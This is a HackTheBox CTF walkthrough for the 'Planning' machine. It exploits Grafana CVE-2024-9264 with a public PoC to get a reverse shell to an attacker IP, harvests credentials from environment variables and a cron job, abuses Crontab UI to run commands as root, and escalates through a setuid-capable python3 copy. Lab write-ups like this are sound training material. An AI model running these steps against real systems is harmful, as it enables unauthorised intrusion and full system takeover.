Planning – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar planning


Summary Link to heading

“Planning” is an Easy box from HackTheBox platform. The victim machine is running a web server about courses. We are able to find a vhost in the victim machine running a vulnerable version of Grafana to CVE-2024-9264, a vulnerability that allows Remote Code Execution. This vulnerability allow us to gain access to the victim machine; which in fact is a Docker container. However, this container has credential stored in its environment variables that are used in the original host. Once inside, we are able to find an internal service running in the victim machine and credentials for this service. This service is Crontab UI, which allow us to add a malicious task to the victim machine, execute it as root user and compromise the victim machine.


User Link to heading

Info
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

We start with an Nmap scan over the target machine looking for TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.68

We only find 2 ports open: 22 SSH and 80 HTTP.

We apply some recognition scans over these ports using -sVC flag:

❯ sudo nmap -sVC -p22,80 10.10.11.68

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:33 -04
Nmap scan report for 10.10.11.68
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds

From the output, we can see that port 80 HTTP redirects to planning.htb domain.

Add this domain to our /etc/hosts file:

❯ echo '10.10.11.68 planning.htb' | sudo tee -a /etc/hosts

Checking technologies being applied by this site with WhatWeb we find:

❯ whatweb -a 3 http://planning.htb

http://planning.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@planning.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], JQuery[3.4.1], Script, Title[Edukate - Online Education Website], nginx[1.24.0]

It just shows the site is running on Nginx.

Visiting http://planning.htb shows a site about education:

Planning 1

But the does not show interesting information. So we might come back to this site later.

We start looking for vhosts using ffuf. One of the dictionary from SecLists works, namelist.txt:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://planning.htb/ -H 'Host: FUZZ.planning.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 275ms]
:: Progress: [151265/151265] :: Job [1/1] :: 130 req/sec :: Duration: [0:17:55] :: Errors: 0 ::

We find a subdomain grafana.planning.htb.

We add this new subdomain to our /etc/hosts file. Now this file looks like:

❯ tail -1 /etc/hosts

10.10.11.68 grafana.planning.htb planning.htb

We check the technologies being used in this new site and, as expected, it is running Grafana v11.0:

❯ whatweb -a 3 http://grafana.planning.htb

http://grafana.planning.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block], nginx[1.24.0]
http://grafana.planning.htb/login [200 OK] Country[RESERVED][ZZ], Grafana[11.0.0], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], Script[text/javascript], Title[Grafana], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.24.0]
Info
Grafana is a multi-platform open source analytics and interactive visualization web application. It can produce charts, graphs, and alerts for the web when connected to supported data sources.

Visiting http://grafana.planning.htb shows, as expected, Grafana panel login:

Planning 2

Here we can try the credentials provided at the beginning: admin:0D5oT70Fq13EvB5r. And they work, we are in:

Planning 3

Searching for vulnerabilities for Grafana at MITRE shows a vulnerability labeled as CVE-2024-9264 for this version (v11.0). This vulnerability could allow a Local File Inclusion or even a Remote Code Execution through an SQL Injection. Searching for an exploit for this vulnerability we find this Github repository. We only have 2 prerequisites:

  1. An authenticated user in Grafana with Viewer permissions or higher (since are are admin user we assume we already have this privilege).
  2. DuckDB binary must be installed and needs to be accessible through Grafana’s path. We don’t know if this one applies, but we can try.

The exploit requires some parameters such as the url running Grafana, credentials (username and password), and an attacker IP along with a listening port to obtain a reverse shell:

❯ python3 poc.py -h

usage: poc.py [-h] --url URL --username USERNAME --password PASSWORD --reverse-ip REVERSE_IP --reverse-port REVERSE_PORT

Authenticate to Grafana and create a reverse shell payload

options:
  -h, --help            show this help message and exit
  --url URL             Grafana URL (e.g., http://127.0.0.1:3000)
  --username USERNAME   Grafana username
  --password PASSWORD   Grafana password
  --reverse-ip REVERSE_IP
                        Reverse shell IP address
  --reverse-port REVERSE_PORT
                        Reverse shell port

Therefore, start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and run the exploit, sending us a reverse shell to our attacker machine:

❯ python3 poc.py --url http://grafana.planning.htb --username 'admin' --password '0D5oT70Fq13EvB5r' --reverse-ip 10.10.16.2 --reverse-port 443

[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 443

Where 10.10.16.2 is our attacker machine and 443 is the port we are already listening with netcat.

We get a shell as root user in a Docker container:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.68] 50832
sh: 0: can't access tty; job control turned off
# whoami
root

# hostname
7ce659d667d7

# hostname -I
172.17.0.2

We can confirm this at / directory, where we can see a .dockerenv file:

root@7ce659d667d7:~# ls -la /

total 60
drwxr-xr-x   1 root root 4096 Apr  4 10:23 .
drwxr-xr-x   1 root root 4096 Apr  4 10:23 ..
-rwxr-xr-x   1 root root    0 Apr  4 10:23 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 27  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  340 May 16 01:29 dev
drwxr-xr-x   1 root root 4096 Apr  4 10:23 etc
drwxr-xr-x   1 root root 4096 May 14  2024 home

Since this is running Grafana, if we go to Grafana configuration documentation, we can see that we can store variables at env. Then, simply type env command in the terminal:

root@7ce659d667d7:~# env

SHELL=/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env

We can see a username enzo and a password RioTecRANDEntANT!.

Check with NetExec if this user and password work to log into the victim machine through SSH:

❯ nxc ssh 10.10.11.68 -u 'enzo' -p 'RioTecRANDEntANT!'

SSH         10.10.11.68     22     10.10.11.68      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11
SSH         10.10.11.68     22     10.10.11.68      [+] enzo:RioTecRANDEntANT!  Linux - Shell access!

They work.

Therefore, log in as enzo user into the victim machine using SSH service:

❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no enzo@10.10.11.68

<SNIP>

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri May 16 03:29:34 2025 from 10.10.16.2
enzo@planning:~$

We can grab the user flag.


Root Link to heading

If we look for internal ports in the victim machine we can see:

enzo@planning:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:44427                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   4096                                127.0.0.54:53                                    0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:8000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   4096                                         *:22                                          *:*

3306 and 33060 are for MySQL, 53 for DNS, and 3000 for Grafana. But ports 8000 and 44427 are unknown.

We can check with cURL is these are internal webpages:

enzo@planning:~$ curl http://127.0.0.1:44427

404: Page Not Found

enzo@planning:~$ curl -I http://127.0.0.1:8000

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
WWW-Authenticate: Basic realm="Restricted Area"
Content-Type: text/html; charset=utf-8
Content-Length: 0
ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Date: Fri, 16 May 2025 03:35:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Port 8000 seems to be running an application using Express.

Info
Node.js Express is a lightweight and flexible Node.js web application framework that provides a robust set of features for building web and mobile applications.

Since we have a connection into the victim machine, close the current SSH session and create a tunnel through a Local Port Forwarding. Convert port 8000 of the victim machine into our port 8000 running now:

❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no -L 8000:127.0.0.1:8000 enzo@10.10.11.68

If we now visit http://127.0.0.1:8000 into a web browser like Firefox a login window appears:

Planning 4

But we don’t have credentials yet. Credentials for enzo user don’t work either.

At this point, to search for information into the victim machine, we can upload LinPEAS (which can be downloaded from its Github repository). Pass this binary into the victim machine using scp and enzo’s credentials:

❯ sshpass -p 'RioTecRANDEntANT!' scp  linpeas.sh enzo@10.10.11.68:/tmp/linpeas.sh

Once we have transferred this file into the victim machine, assign to it execution permissions and execute it:

enzo@planning:~$ chmod +x /tmp/linpeas.sh

enzo@planning:~$ /tmp/linpeas.sh

<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/crontabs/crontab.db: New Line Delimited JSON text data
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 967, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 6, database pages 16, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
<SNIP>

We find some SQLite databases files. Among them we have a JSON file at /opt/crontabs directory called crontab.db.

Checking its content (along with jq to prettify the output) we get:

enzo@planning:~$ cat /opt/crontabs/crontab.db | jq

{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

We can see the command:

/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz

It is creating a backup for Grafana container, storing it into a .zip file with password P4ssw0rdS0pRi0T3c.

We attempt the credentials root:P4ssw0rdS0pRi0T3c at http://127.0.0.1:8000 (the site we have reached through the Local Port Forwarding) and they work. We are in:

Planning 5

Since this site seems to manage cronjobs, click on + New button and add a new cronjob. We just create a simple test job where it should create a file at /tmp directory:

Planning 6

A new Job should be created at the bottom of the page. We can click on Run now button to test if this worked:

Planning 7

After clicking on Run now, we can check /tmp directory:

enzo@planning:~$ ls -la /tmp

total 868
drwxrwxrwt 15 root root   4096 May 16 03:53 .
drwxr-xr-x 22 root root   4096 Apr  3 14:40 ..
drwxrwxrwt  2 root root   4096 May 16 01:29 .font-unix
drwxrwxrwt  2 root root   4096 May 16 01:29 .ICE-unix
-rwxrwxr-x  1 enzo enzo 824942 May 16 03:33 linpeas.sh
-rw-r--r--  1 root root      0 May 16 03:53 pwned.txt
<SNIP>

Our file has been created. And its owner is root. Therefore, these tasks are executed by root user.

We can then add a new cronjob that creates a copy of python3 binary and, to that copy, assign to it capabilities:

Planning 8

Where we have used the command:

cp /usr/bin/python3 /tmp/gunzf0x; setcap cap_setuid+ep /tmp/gunzf0x

Similar as we did for test task, now evil-command task should have been added. Click on Run now and check /tmp directory:

enzo@planning:~$ ls -la /tmp

total 8696
drwxrwxrwt 14 root root    4096 May 16 03:58 .
drwxr-xr-x 22 root root    4096 Apr  3 14:40 ..
-rw-r--r--  1 root root       0 May 16 03:58 3qLRnB3Hnw5Llalt.stderr
-rw-r--r--  1 root root       0 May 16 03:58 3qLRnB3Hnw5Llalt.stdout
drwxrwxrwt  2 root root    4096 May 16 01:29 .font-unix
-rwxr-xr-x  1 root root 8019136 May 16 03:58 gunzf0x
drwxrwxrwt  2 root root    4096 May 16 01:29 .ICE-unix
-rwxrwxr-x  1 enzo enzo  824942 May 16 03:33 linpeas.sh
-rw-r--r--  1 root root       0 May 16 03:53 pwned.txt

Our file is there.

Since this file should now have capabilities enabled, we can use this evil python3 binary copy to elevate privileges abusing those capabilities as shown at GTFOBins:

enzo@planning:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami
root

GG. We can grab the root flag at /root directory.

~Happy Hacking